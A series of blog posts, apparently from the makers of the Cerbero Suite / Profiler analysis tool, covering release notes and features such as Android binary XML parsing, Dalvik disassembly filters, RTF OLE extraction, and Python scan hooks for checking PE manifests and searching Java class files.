    /* 00027858 0E 00             */ return-void
loc_46:
    /* 0002785A 49 00 06 03       */ aget-char v0, v6, v3
    /* 0002785E D8 00 00 BF       */ add-int/lit8 v0, v0, #int -65 // #bf
    /* 00027862 B4 40             */ rem-int/2addr v0, v4
    /* 00027864 71 10 01 0C 00 00 */ invoke-static {v0}, java.lang.Integer java.lang.Integer.valueOf(int)
    /* 0002786A 0C 08             */ move-result-object v8
    /* 0002786C 71 10 01 0C 02 00 */ invoke-static {v2}, java.lang.Integer java.lang.Integer.valueOf(int)
    /* 00027872 0C 00             */ move-result-object v0
    /* 00027874 6E 20 4E 0C 85 00 */ invoke-virtual {v5, v8}, bool java.util.HashMap.containsKey(java.lang.Object)
    /* 0002787A 0A 01             */ move-result v1
    /* 0002787C 38 01 2C 00       */ if-eqz v1, loc_168 // +44
    /* 00027880 6E 20 4F 0C 85 00 */ invoke-virtual {v5, v8}, java.lang.Object java.util.HashMap.get(java.lang.Object)
    /* 00027886 0C 00             */ move-result-object v0
    /* 00027888 1F 00 C3 01       */ check-cast v0, java.lang.Integer
loc_96:
    /* 0002788C 54 B1 FC 02       */ iget-object v1, v11, java.lang.String content
    /* 00027890 22 08 CE 01       */ new-instance v8, java.lang.StringBuilder
    /* 00027894 71 10 25 0C 01 00 */ invoke-static {v1}, java.lang.String java.lang.String.valueOf(java.lang.Object)
    /* 0002789A 0C 01             */ move-result-object v1
    /* 0002789C 70 20 28 0C 18 00 */ invoke-direct {v8, v1}, void java.lang.StringBuilder.(java.lang.String)
    /* 000278A2 6E 10 FC 0B 00 00 */ invoke-virtual {v0}, byte java.lang.Integer.byteValue()
    /* 000278A8 0A 00             */ move-result v0
    /* 000278AA D8 00 00 41       */ add-int/lit8 v0, v0, #int 65 // #41
    /* 000278AE 8E 00             */ int-to-char v0, v0
    /* 000278B0 71 10 ED 0B 00 00 */ invoke-static {v0}, java.lang.Character java.lang.Character.valueOf(char)
    /* 000278B6 0C 00             */ move-result-object v0
    /* 000278B8 6E 20 2C 0C 08 00 */ invoke-virtual {v8, v0}, java.lang.StringBuilder java.lang.StringBuilder.append(java.lang.Object)
    /* 000278BE 0C 00             */ move-result-object v0
    /* 000278C0 6E 10 31 0C 00 00 */ invoke-virtual {v0}, java.lang.String java.lang.StringBuilder.toString()
    /* 000278C6 0C 00             */ move-result-object v0
    /* 000278C8 5B B0 FC 02       */ iput-object v0, v11, java.lang.String content
    /* 000278CC D8 00 03 01       */ add-int/lit8 v0, v3, #int 1 // #01
    /* 000278D0 01 03             */ move v3, v0
    /* 000278D2 28 C1             */ goto loc_40 // -63
loc_168:
    /* 000278D4 01 21             */ move v1, v2
loc_170:
    /* 000278D6 35 41 DB FF       */ if-ge v1, v4, loc_96 // -37
    /* 000278DA 6E 10 FD 0B 08 00 */ invoke-virtual {v8}, int java.lang.Integer.intValue()
    /* 000278E0 0A 09             */ move-result v9
    /* 000278E2 B2 19             */ mul-int/2addr v9, v1
    /* 000278E4 B4 49             */ rem-int/2addr v9, v4
    /* 000278E6 12 1A             */ const/4 v10, #int 1 // #1
    /* 000278E8 33 A9 0E 00       */ if-ne v9, v10, loc_216 // +14
    /* 000278EC 71 10 01 0C 01 00 */ invoke-static {v1}, java.lang.Integer java.lang.Integer.valueOf(int)
    /* 000278F2 0C 00             */ move-result-object v0
    /* 000278F4 6E 30 50 0C 85 00 */ invoke-virtual {v5, v8, v0}, java.lang.Object java.util.HashMap.put(java.lang.Object, java.lang.Object)
    /* 000278FA 71 10 01 0C 01 00 */ invoke-static {v1}, java.lang.Integer java.lang.Integer.valueOf(int)
    /* 00027900 0C 00             */ move-result-object v0
    /* 00027902 28 C5             */ goto loc_96 // -59
loc_216:
    /* 00027904 D8 01 01 01       */ add-int/lit8 v1, v1, #int 1 // #01
    /* 00027908 28 E7             */ goto loc_170 // -25
  }

And that's it. It took much more time to write the post than the rest (about 10 minutes of time if that). Reverse engineering the crackme to find the correct key is beyond the scope of the post, although I'm sure it's fun as well.

Thanks to BlueBox for the crackme!

News for version 0.9.4

The new version is out with the following news:

added RTF support including OLE extraction and raw text preview
– added file times support and extraction in Zip archives
added disasm options to several engines
added support for Android Binary XML format
exposed several disasm engines as filters
– introduced metadata strings to SDK
– exposed Zip format class to Python
– fixed module initialization problem in the SDK

Some features planned for this release were postponed for the next version (or perhaps even the version after that), because too many unplanned new features have been introduced in 0.9.4. Some of the news above need further explanations and examples, but I’m afraid posts about them will have to wait. It would be nice to show some of these new features in conjunction with other features which are planned for the near future.

In the meantime we hope you enjoy the release!

Android Binary XML support

The upcoming version 0.9.4 of the Profiler adds support for Android’s binary XML format (such as that used by AndroidManifest.xml).

Android Binary XML

Let’s take the sample output of the aapt tool in the Android SDK:

N: android=http://schemas.android.com/apk/res/android
  E: manifest (line=22)
    A: package="com.example.android.notepad" (Raw: "com.example.android.notepad")
    E: uses-sdk (line=25)
      A: android:minSdkVersion(0x0101020c)=(type 0x10)0xb
    E: application (line=27)
      A: android:label(0x01010001)=@0x7f040000
      A: android:icon(0x01010002)=@0x7f020000
      E: provider (line=30)
        A: android:name(0x01010003)="NotePadProvider" (Raw: "NotePadProvider")
        A: android:exported(0x01010010)=(type 0x12)0x0
        A: android:authorities(0x01010018)="com.google.provider.NotePad" (Raw: "com.google.provider.NotePad")
        E: grant-uri-permission (line=33)
          A: android:pathPattern(0x0101002c)=".*" (Raw: ".*")
      E: activity (line=36)
        A: android:label(0x01010001)=@0x7f040005
        A: android:name(0x01010003)="NotesList" (Raw: "NotesList")
        E: intent-filter (line=37)
          E: action (line=38)
            A: android:name(0x01010003)="android.intent.action.MAIN" (Raw: "android.intent.action.MAIN")
          E: category (line=39)
            A: android:name(0x01010003)="android.intent.category.LAUNCHER" (Raw: "android.intent.category.LAUNCHER")
        E: intent-filter (line=41)
          E: action (line=42)
            A: android:name(0x01010003)="android.intent.action.VIEW" (Raw: "android.intent.action.VIEW")
          E: action (line=43)
            A: android:name(0x01010003)="android.intent.action.EDIT" (Raw: "android.intent.action.EDIT")
          E: action (line=44)
            A: android:name(0x01010003)="android.intent.action.PICK" (Raw: "android.intent.action.PICK")
          E: category (line=45)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")
          E: data (line=46)
            A: android:mimeType(0x01010026)="vnd.android.cursor.dir/vnd.google.note" (Raw: "vnd.android.cursor.dir/vnd.google.note")
        E: intent-filter (line=48)
          E: action (line=49)
            A: android:name(0x01010003)="android.intent.action.GET_CONTENT" (Raw: "android.intent.action.GET_CONTENT")
          E: category (line=50)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")
          E: data (line=51)
            A: android:mimeType(0x01010026)="vnd.android.cursor.item/vnd.google.note" (Raw: "vnd.android.cursor.item/vnd.google.note")
      E: activity (line=55)
        A: android:theme(0x01010000)=@0x103006e
        A: android:name(0x01010003)="NoteEditor" (Raw: "NoteEditor")
        A: android:screenOrientation(0x0101001e)=(type 0x10)0x4
        A: android:configChanges(0x0101001f)=(type 0x11)0xa0
        E: intent-filter (line=62)
          A: android:label(0x01010001)=@0x7f04000f
          E: action (line=63)
            A: android:name(0x01010003)="android.intent.action.VIEW" (Raw: "android.intent.action.VIEW")
          E: action (line=64)
            A: android:name(0x01010003)="android.intent.action.EDIT" (Raw: "android.intent.action.EDIT")
          E: action (line=65)
            A: android:name(0x01010003)="com.android.notepad.action.EDIT_NOTE" (Raw: "com.android.notepad.action.EDIT_NOTE")
          E: category (line=66)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")
          E: data (line=67)
            A: android:mimeType(0x01010026)="vnd.android.cursor.item/vnd.google.note" (Raw: "vnd.android.cursor.item/vnd.google.note")
        E: intent-filter (line=74)
          E: action (line=75)
            A: android:name(0x01010003)="android.intent.action.INSERT" (Raw: "android.intent.action.INSERT")
          E: action (line=76)
            A: android:name(0x01010003)="android.intent.action.PASTE" (Raw: "android.intent.action.PASTE")
          E: category (line=77)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")
          E: data (line=78)
            A: android:mimeType(0x01010026)="vnd.android.cursor.dir/vnd.google.note" (Raw: "vnd.android.cursor.dir/vnd.google.note")
      E: activity (line=83)
        A: android:theme(0x01010000)=@0x103006f
        A: android:label(0x01010001)=@0x7f040002
        A: android:icon(0x01010002)=@0x7f020003
        A: android:name(0x01010003)="TitleEditor" (Raw: "TitleEditor")
        A: android:windowSoftInputMode(0x0101022b)=(type 0x11)0x4
        E: intent-filter (line=92)
          A: android:label(0x01010001)=@0x7f040010
          E: action (line=96)
            A: android:name(0x01010003)="com.android.notepad.action.EDIT_TITLE" (Raw: "com.android.notepad.action.EDIT_TITLE")
          E: category (line=98)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")
          E: category (line=101)
            A: android:name(0x01010003)="android.intent.category.ALTERNATIVE" (Raw: "android.intent.category.ALTERNATIVE")
          E: category (line=104)
            A: android:name(0x01010003)="android.intent.category.SELECTED_ALTERNATIVE" (Raw: "android.intent.category.SELECTED_ALTERNATIVE")
          E: data (line=106)
            A: android:mimeType(0x01010026)="vnd.android.cursor.item/vnd.google.note" (Raw: "vnd.android.cursor.item/vnd.google.note")
      E: activity (line=110)
        A: android:label(0x01010001)=@0x7f040001
        A: android:icon(0x01010002)=@0x7f020006
        A: android:name(0x01010003)="NotesLiveFolder" (Raw: "NotesLiveFolder")
        E: intent-filter (line=112)
          E: action (line=113)
            A: android:name(0x01010003)="android.intent.action.CREATE_LIVE_FOLDER" (Raw: "android.intent.action.CREATE_LIVE_FOLDER")
          E: category (line=114)
            A: android:name(0x01010003)="android.intent.category.DEFAULT" (Raw: "android.intent.category.DEFAULT")

And now the output of the Profiler:


  
  
    
      
    
    
      
        
        
      
      
        
        
        
        
        
      
      
        
        
        
      
    
    
      
        
        
        
        
        
      
      
        
        
        
        
      
    
    
      
        
        
        
        
        
      
    
    
      
        
        
      
    
  

Of course UI XMLs can be opened as well:

The converter can be used from Python as well as a filter called ‘android/from_axml‘.

The new version will be out in a few days. Stay tuned!

Disasm options & filters

The upcoming version 0.9.4 of the Profiler introduces improvements to several disasm engines: ActionScript3, Dalvik, Java, MSIL. In particular it adds options, so that the user can decide whether to include file offsets and opcodes in the output.

Disasm options

The code indentation can be changed as well.

Another important addition is that these engines have been exposed as filters. This is especially noteworthy since byte code can sometimes be injected or stored outside of a method body, so that it is necessary to be able to disassemble raw data.

Disasm filters

Of course these filters can be used from Python too.

from Pro.Core import *

sp = proContext().currentScanProvider()
c = sp.getObjectStream()
c.setRange(0x2570, 0x10)

fstr = ""
c = applyFilters(c, fstr)

s = c.read(0, c.size()).decode("utf-8")
print(s)

Output:

/* 00000000 1A 00 8A+ */ const-string v0,  // string@018a (394)
/* 00000004 12 01     */ const/4 v1, #int 0 // #0
/* 00000006 12 22     */ const/4 v2, #int 2 // #2
/* 00000008 70 52 42+ */ invoke-direct {v3, v4, v0, v1, v2},  // method@0042 (66)
/* 0000000E 0E 00     */ return-void

In the future it will be possible to output a filter directly to NTTextStream, avoiding the need to read from NTContainer.

Stay tuned!

Rich Text Format support (including OLE extraction)

The work on the upcoming 0.9.4 version of the Profiler has just begun, but there’s already an addition worth mentioning in depth: the support for RTF files. In particular there are two things which are quite useful: the preview of raw text and the extraction of OLE objects.

Let’s start with the first one which is very easy.

Text preview

The same text can be retrieved programmatically with the following code:

sp = proContext().currentScanProvider()
rtf = sp.getObject()
out = NTTextBuffer()
rtf.Output(out)
print(out.buffer)

And now the more interesting part about embedded OLE objects. While RTF is usually regarded as a more safe format than its DOC counterpart, it is able to embed foreign objects through the OLE technology. This technique can be, and is, used by malware authors to conceal the real threat.

Let’s take a look at a file with two embedded objects (a DOC and a PPT).

OLE

What is being viewed in the image above is the metadata of a JPEG contained in a PPT contained in a OLE Stream contained in a RTF file. Nice, isn’t it?

It should be noted that OLE objects in RTF files are stored as OLE Streams an undocumented format (as far as we know). The Profiler is able to parse it nonetheless and it can be observed how this format can contain some interesting information.

OLE Stream metadata

Apart from the original file name we can observe paths which include the user name.

News for version 0.9.3

The new version is out with the following news:

– subdivided the Python SDK into modules
exposed many core and file format classes to Python (part 2)
exposed filters to Python
introduced Python hooks
introduced Python key providers
– improved SDK documentation
added extensions view
added file formats scan option
added decryption keys view
– fixed occasional concurrency issue with large files
– fixed embedded files manual addition issue (affected versions: >= 0.9.1)

Most of the items in the list have been demonstrated in previous posts. The only addition left to discuss is the key dialog. When a file is encrypted and gets decrypted with a key either provided by the user or by a script, then this key ends up in a special list of matched keys. This list can now be inspected by the user.

If some files have been decrypted an additional “Decryption keys” button will be shown. Just click on it and you’ll get the list of matched keys.

That’s all. Enjoy!

Detect broken PE manifests

In the previous post we’ve seen a brief introduction of how hooks work. If you haven’t read that post, you’re encouraged to do so in order to understand this one. What we’re going to do in this post is something practical: verifying the XML correctness of PE manifests contained in executables in the Windows directory.

The hook INI entry:

[PE: verify manifests]
file = pe_hooks.py
scanned = detectBrokenManifest
mode = batch
formats = PE

And the python code:

from Pro.Core import *
from Pro.PE import *

def detectBrokenManifest(sp, ud):
    sp.exclude()
    pe = sp.getObject()
    it = pe.ResourceIterator()
    if it.MoveToRoot(RES_TYPE_CONFIGURATION_FILES) == False:
        return
    while it.Next() and it.RootName() == RES_TYPE_CONFIGURATION_FILES:
        s = it.Data()
        offs = pe.RvaToOffset(s.Num(0)) # same as s.Num("OffsetToData")
        sz = s.Num(1) # same as s.Num("Size")
        if offs == INVALID_OFFSET or sz == 0:
            continue
        bytes = pe.Read(offs, sz)
        xml = NTXml()
        if xml.parse(bytes) != NTXml_ErrNone:
            sp.include()
            break

That’s it!

What the code above does is to ask the PE object for a resource iterator. This class, as our customers can observe from the SDK documentation, is capable of both iterating and moving to a specific resource directory or item. Thus, first it moves to the RES_TYPE_CONFIGURATION_FILES directory and then goes through all its items. If the XML parsing does fail, then the file is included in our final report.

So let’s proceed and do the actual scan. First we need to activate the extension from the extensions view:

Then we need to specify the Windows directory as our scan directory and the kind of file format we’re interested scanning (PE).

Let’s wait for the scan to complete and we’ll get the final results.

So seems these file have a problem with their manifests. Let’s open one and go to its manifest resources:

(if the XML is missing new-lines, just hit “Run action (Ctrl+R)->XML indenter”)

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- Copyright (c) Microsoft Corporation -->
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity
    name=""Microsoft.Windows.Shell.DevicePairingFolder""
    processorArchitecture=""x86""
    version=""5.1.0.0""
    type="win32"/>
  <description>Wireless Devices Explorer</description>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity
        type="win32"
        name="Microsoft.Windows.Common-Controls"
        version="6.0.0.0"
        processorArchitecture="*"
        publicKeyToken="6595b64144ccf1df"
        language="*" />
    </dependentAssembly>
  </dependency>
</assembly>

As you can see some attributes in assemblyIdentity contain double quotes. I don’t know whether this DLL has been created with Visual C++, but I do remember that this could happen when specifying manifests fields in the project configuration dialog.

Exposing the Core (part 4, Hooks)

Hooks are an extremely powerful extension to the scanning engine of Cerbero Suite. They allow the user to do customize scans and do all sorts of things. Because there’s basically no limit to the applications, I’ll just try to give a brief introduction in this post. In the following post I’ll demonstrate their use with a real-world case.

Just like key providers introduced in the previous post, hooks have their INI configuration file as well (hooks.cfg). This can contain a minimal hook entry:

[Test Hook]
file = test_hooks.py
scanned = scanned

And the python code:

def scanned(sp, ud):
    print(sp.getObjectFormat())

scanned gets called after every file scan and prints out the format of the object. This function is not being called from the main thread, so it’s not possible to call UI functions. However, print is thread-safe and when doing a batch scan will just output to stdout.

Now let’s open Cerbero Suite and go to the new Extensions view.

Extensions view

You’ll notice that the box next to the name of the hook we just created is unchecked. This means that it’s disabled and hence won’t be called. We can enable it manually or we may even specify from the INI file to enable our extension by default:

[Test Hook]
file = test_hooks.py
scanned = scanned
enable = yes

We also specify the scan mode we are interested in:

; not specifying a mode equals to: mode = single|batch
mode = batch

Now the extension will be notified only when doing batch scans. To be even more selective, it’s possible to specify the file format(s) we are interested in:

; this is an optional field, you can omit it and the hook will be notified for any format
formats = PE|SWF

Ok, now let’s create a small sample which actually does something. Let’s say we want to perform a search among the disassembled code of Java Class files and include in the resulting report only those files which contain a particular string.

The configuration entry:

[Search Java Class]
file = test_hooks.py
scanned = searchJavaClass
mode = batch
formats = Class

And the code:

def searchJavaClass(sp, ud):
    from Pro.Core import NTTextBuffer
    cl = sp.getObject()
    out = NTTextBuffer()
    cl.Disassemble(out)
    # search string
    ret = out.buffer.find("HelloWorld") != -1
    sp.include(ret)

Let’s activate the extension by checking its box and then perform a custom scan only on files identified as Java Classes.

Class scan

The result will be:

Class report

The method ScanProvider::include(bool b) is what tells Cerbero Suite which files have to be included in the final report (its counterpart is ScanProvider::exclude(bool b)). Of course, there could be more than one hook active during a scan and a file can be both excluded and included. The logic is that include has priority over exclude and once a file has been included by a hook it can’t be excluded by another one.

Although the few lines above already have a purpose, it’s not quite handy having to change the code in order to perform different searches. Thus, hooks can optionally implement two more callbacks: init and end. Both these callbacks are called from the main UI thread (so that it’s safe to call UI functions). The first one is called before any scan operation is performed, while the latter after all of them have finished.

The syntax for for these callbacks is the following:

def init():
    print("init")
    return print  # returns what the other callbacks will get as their 'ud' argument

def end(ud):
    ud("end")

Instead of using ugly global variables, init can optionally return the user data passed on to the other callbacks. end is useful to perform cleanup operations. But in our sample above we don’t really need to clean up anything, we just need an input box to ask the user for a string to be searched. So we just need to add an init callback.

[Search Java Class]
file = test_hooks.py
init = initSearchJavaClass
scanned = searchJavaClass
mode = batch
formats = Class

And add the new logic to the code:

def initSearchJavaClass():
    from Pro.UI import ProInput
    return ProInput.askText("Insert string:")

def searchJavaClass(sp, ud):
    if ud == None:
        return
    from Pro.Core import NTTextBuffer
    cl = sp.getObject()
    out = NTTextBuffer()
    cl.Disassemble(out)
    # search string
    ret = out.buffer.find(ud) != -1
    sp.include(ret)

Of course, this sample could be improved endlessly by adding options, regular expressions, support for more file formats etc. But that is beyond the scope of this post which was just briefly introduce hooks.

The upcoming version of Cerbero Suite which includes all the improvements of the previous weeks is almost ready. Stay tuned!